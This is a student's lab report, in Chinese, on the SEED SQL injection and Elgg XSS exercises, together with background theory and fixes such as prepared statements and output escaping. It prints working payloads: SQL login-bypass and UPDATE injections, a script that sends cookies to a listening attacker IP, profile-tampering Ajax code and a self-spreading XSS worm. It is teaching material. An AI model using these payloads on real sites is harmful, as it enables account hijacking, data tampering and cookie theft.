20212928 2021-2022-2 《网络攻防实践》第12周作业
1.实践基础知识
1)Web应用程序体系结构及其安全威胁
- Web网络应用体系
- 定义:目前一般就是指B/S(“浏览器/服务器”模式)计算结构,其中浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信
- 浏览器:使用HTTP/HTTPS协议,用来检索、展示以及传递Web信息资源的应用程序
- Web服务器:网络服务器是网络环境下为客户提供某种服务的专用计算机
- 数据库:是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合
- Web应用程序:一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件,最为常见的三层体系结构:
表示层:输入并显示结果。
业务逻辑层:需要数据层的协作,再将结果送回表示层。
数据层:以数据库或本地文件的形式,提供非易失的信息存储。 - 传输协议HTTP/HTTPS:HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
- 流行的Web服务器软件主要分为两类:
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
LAMP: Linux/Apache/MySQL/PHP
Web服务器平台中的安全漏洞 - 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的- 远程攻击渗透攻击。
服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。
- 定义:目前一般就是指B/S(“浏览器/服务器”模式)计算结构,其中浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信
- Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
- 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统。
- Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
2)Web应用安全攻防技术概述
-
Web应用攻击路线
- Web应用信息收集
- 攻击Web服务器软件
- 攻击Web应用程序
- 攻击Web数据内容
- 本地攻击
-
Web应用信息收集
- 手工审查Web应用程序结构与源代码
查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
查看Web服务器的存储目录结构。
查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。 - 自动下载与镜像Web站点页面:自动化上面的手工审查过程。
- Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
- Web应用程序安全评估与漏洞审查
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
- 手工审查Web应用程序结构与源代码
-
攻击Web服务器软件
- 流行的Web服务器软件主要分为两类:
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
LAMP: Linux/Apache/MySQL/PHP - Web服务器平台中的安全漏洞
数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。
- 流行的Web服务器软件主要分为两类:
-
攻击Web应用程序
- Web应用程序的不安全性
Web应用程序编码质量和测试均有限: 安全最薄弱环节。
Web应用的复杂性和灵活性进一步恶化了其安全性。 - Web应用程序安全威胁类型
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
命令执行攻击:在web站点执行远程命令的攻击手段。
信息暴露:获取web站点具体系统信息的攻击手段。
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
- Web应用程序的不安全性
-
攻击Web数据内容
- 安全敏感数据泄露
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
利用web服务器的上传目录临时中转文件。
在web站点公开的文档资料中包含个人隐私、企业秘密。 - 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
- 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。
- 安全敏感数据泄露
-
Web应用安全防范措施
- Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
- Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
- Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
- Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力
3)SQL注入攻击
- 代码注入攻击定义
- 代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。这并不适用于对应用程序客户端的代码注入攻击,
例如 Javascript,那属于跨站脚本攻击(XSS)。源代码可以通过不可信的输入直接注入,或者网络应用程序在通过本地文件系统或类似 URL 这样的外部来源加载代码时被操纵。
包含远程文件导致代码注入攻击的情况通常被称为远程文件包含漏洞,虽然远程文件包含攻击本身的目的就是为了注入代码。 - SQL注入攻击原理
- SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,
最终使web服务器执行恶意命令的过程
- SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,
- SQL注入攻击例子
- 在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:select * from users where username='' or 1=1#' and password=md5('')语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:select * from users where username=''
or 1=1#' and password=md5('') 等价于select* from users where usrername='' or 1=1因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:select * from users 没错,该sql语句的作用是检索users表中的所有字段 - 上面是一种输入方法,这里再介绍一种注入的方法,这个方法又称PHP的万能密码,我们在已知用户名的条件下,可以不用密码即可登入,假设用户名:admin,构造语句:select * from users where username='admin'#' and password=md5('')等价于select * from users where username='admin'这样即可不能输入密码登入上去的。数据库就会错认为不用用户名既可以登入,绕过后台的验证,已到达注入的目的。
- 在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:select * from users where username='' or 1=1#' and password=md5('')语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:select * from users where username=''
- SQL注入攻击步骤
- 寻找注入点,构造特殊的语句,传入SQL语句可控参数分为两类
数字类型,参数不用被引号括起来,如id=1
其他类型,参数要被引号扩起来,如name="phone" - 用户构造SQL语句(如:'or 1=1#')
- 将SQL语句发送给DBMS数据库
- DBMS收到返回的结果,并将该请求解释成机器代码指令,执行必要得到操作
- DBMS接受返回结果,处理后,返回给用户,因为用户构造了特殊的SQL语句,必定返回特殊的结果
- 寻找注入点,构造特殊的语句,传入SQL语句可控参数分为两类
- 防御 SQL 注入攻击
- 防御 SQL 注入攻击可采用深度防御原则。在将数据用于 SQL 命令之前,应该进行验证,以确保它是我们期望的正确格式,并且在将数据包含在请求或绑定参数前,应该将其 escape。
4)XSS跨站脚本攻击
- 防御 SQL 注入攻击可采用深度防御原则。在将数据用于 SQL 命令之前,应该进行验证,以确保它是我们期望的正确格式,并且在将数据包含在请求或绑定参数前,应该将其 escape。
- XSS攻击技术原理
- Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),
这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
- Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),
- 持久性XSS漏洞
- 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。
- 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
- 典型案例: 留言本/论坛/博客/wiki等。
- 非持久性XSS
- 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
- 用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
- 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
- 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
- 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
- XSS攻击防范措施
- 服务器端防范措施:“限制、拒绝、净化”
输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
输出净化: HTMLEncode()方法。
消除危险的输入点。 - 客户端防范措施
提高浏览器访问非受信网站时的安全等级。
关闭Cookie功能,或设置Cookie只读。
建立安全意识和浏览习惯。
2.实践过程
(1)SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。
员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。
员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。
在此任务中,您需要使用数据库来熟悉SQL查询。 -
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗:修复上述SQL注入攻击漏洞。
具体步骤如下:
1)熟悉SQL命令
-
首先登录 MySQL 数据库,输入命令:mysql -u root -pseedubuntu,如下图:
-
输入命令show databases;,查看库中有哪些库
-
输入命令use Users;使用系统创建好的 Users 数据库,如下图:
-
输入命令show tables查看该数据库下所有的表,如下图:
-
可以看到该数据库存在一个名为“credential”的表,输入命令:select * from credential;查看这个表的具体信息,如下图所示:
-
想查看Alice的所有信息,我们可以输入以下命令:select * from credential where Name='Alice';,如下图:
2)对 SELECT 语句的 SQL 注入攻击
-
使用 SEED 访问已经搭建好的 Web 页面,具体网址为:www.SEEDLabSQLInjection.com,就可以得到一个sql注入实验平台
-
然后,我们使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验
-
接下来,我们在终端输入命令:vim /var/www/SQLInjection/unsafe_home.php,
在所显示的内容中找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞,如下图:
-
接下来,我们通过上述SQL语句可以发现,条件将用户名和我们输入的密码连接到了一起。那么,我们就可以利用注释特性,
当变量$input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='$hashed_pwd'实际上,
“#”后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。
测试输入用户名为Admin' #,密码为空,具体截图如下:
-
当我们点击登录时,发现成功登录,并且可以看到用户的详细信息,如用户的姓名、Eider,生日、薪酬等,如下图:
3) 对 UPDATE 语句的 SQL 注入攻击
-
接下来,我们对Admin的工资进行修改,修改之前,我们可以利用上一步的漏洞发现,Admin修改前的工资为:40000
-
之后我点击页面上方的Edit Profile按钮,进入更新信息页面,如下图所示:
-
我们下一步输入命令:vim /var/www/SQLInjection/unsafe_edit_backend.php看一下修改界面的源代码,
我们在unsafe_edit_backend.php中找到 Update语句,发现不能对个人工资进行更新修改,
同时由上文可以知道 Admin 的编号是 99999,变量$input_nickname对应的就是用户输入的 NickName
-
如果用户在 NickName 文本框中输入:', salary='521521' where EID='99999';#,那么变量$input_nickname则发生相应改变,于是,
上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='521521' where EID='99999';
,这条语句就成功实现了将 Admin的工资更新为 521521,具体修改成功,如下图:
4)SQL对抗,修复上述SQL注入攻击漏洞
-
通过上述实验,我们可以知道SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。
但不幸的是,当SQL语句被发送到数据库时,边界已经消失。因此要解决这个问题,重要的是要一定确保边界的视图是一致在服务器端代码和数据库中。
最安全的方法是使用预处理语句。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入 -
比如在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',
PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
当我们这样进行预处理后,便可以防止SQL注入
(2)SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,
学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
具体步骤如下:
1)发布恶意消息,显示警报窗口
-
首先我们输入网址http://www.xsslabelgg.com/profile/alice,账号:Alice 密码:seedalice进入个人信息页面,如下图所示:
-
之后点击Edit profile,接着在下面的Brief description文本框输入以下语句:
<script>alert('xss');</script>
,点击Save保存,页面弹出如下的提示框,点击Save保存
-
保存之后,可以看到有弹窗信息,证明攻击是成功的,具体如下图:
2)弹窗显示 cookie 信息
-
跟1)一样,我在Brief description文本框输入以下 JS 语句并保存:
<script>alert(document.cookie);</script>
-
保存后,我们可以看到弹窗显示cookie信息,如下图:
3)窃取受害者的 cookies
-
首先,输入指令
i'f'con'fig
查看本机的IP,发现为192.168.11.20
-
以考虑使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码,其中本机 192.168.11.20 充当攻击者,
JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:
<script>document.write('<img src=http://192.168.11.20:5555?c=' + escape(document.cookie) + ' >');</script>
然后在终端使用以下指令监听端口:nc -l 5788 -v,准备进行监听,如下图:
-
然后,当我们保存后,即可看到监听到的cookie信息,具体如下图:
4)成为受害者的朋友
-
录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,
使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
我们得到如下图的信息,可以看到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。
请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=
也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。
-
于是,我们可以根据上述分析构造下面的脚本,用于添加其他好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
-
将脚本放在 Alice 的About me文本框,并保存
-
登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友。
5)修改受害者的信息
- 登录Alice账户,在Edite profile模块输入以下代码,并保存:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
可以发现有弹出弹窗消息,,如下图:
-
接下来,我们退出 Alice账户,登录 Boby账户,访问 Alice,然后再返回 Boby界面,可以发现已经被攻击,如下图所示:
6)编写 XSS 蠕虫
- 为了实现蠕虫感染。调用 DOM API 的方法,编写以下代码,可以实现在不同的用户之间感染传播。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
将上述代码放在 Alice 的About me文本框内保存。
-
接下来呢,我们登录Boby账户,访问Alice,之后便会发现被感染了。
-
为证明我们的正确行,我们登录Admin,用用Admin用户去访问一下boby,可看到打开Boby的界面,就会有弹窗:
-
紧接着返回Admin主页面,发现也被感染,如下图:
7)对抗XSS攻击
*f方法一: Elgg有一个内键的反措施来防御XSS攻击,管理员账户Admin登录后,Account->administration->plugins,
并点击过滤的安全和垃圾邮件选项在页面的顶部。可以在下面找到HTMLawed插件(对用户的输入输出进行校验并且去除特定标签)。
单击Activate以启用的对策。这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
- 方法二:可以在代码中调用htmlspecialchars()方法对抗XSS攻击
3.学习中遇到的问题及解决
问题1:找About me一直找不到
解决1:在Edit profile中可以发现
问题2:刚开始开始做第二个实验输入相关代码,并不能进行攻击
解决2:原因是需要调整代码的编辑格式,如下图:
4.学习感想和体会
通过本次实验,我学习了SQL注入与XSS跨站脚本攻击的原理、实践,了解了具体的过程,在下载最新的Seed20.04时,发现下载下来在Vmware打不开vdi 格式,
然后按照说明下载了VMBox,但是最终还是没有成功,在实验结束后我再好好研究一下vdi格式,争取有所收获。
参考资料决
- 《网络攻防技术实践》
- SQL注入工具
- SQL教程
- JavaScript教程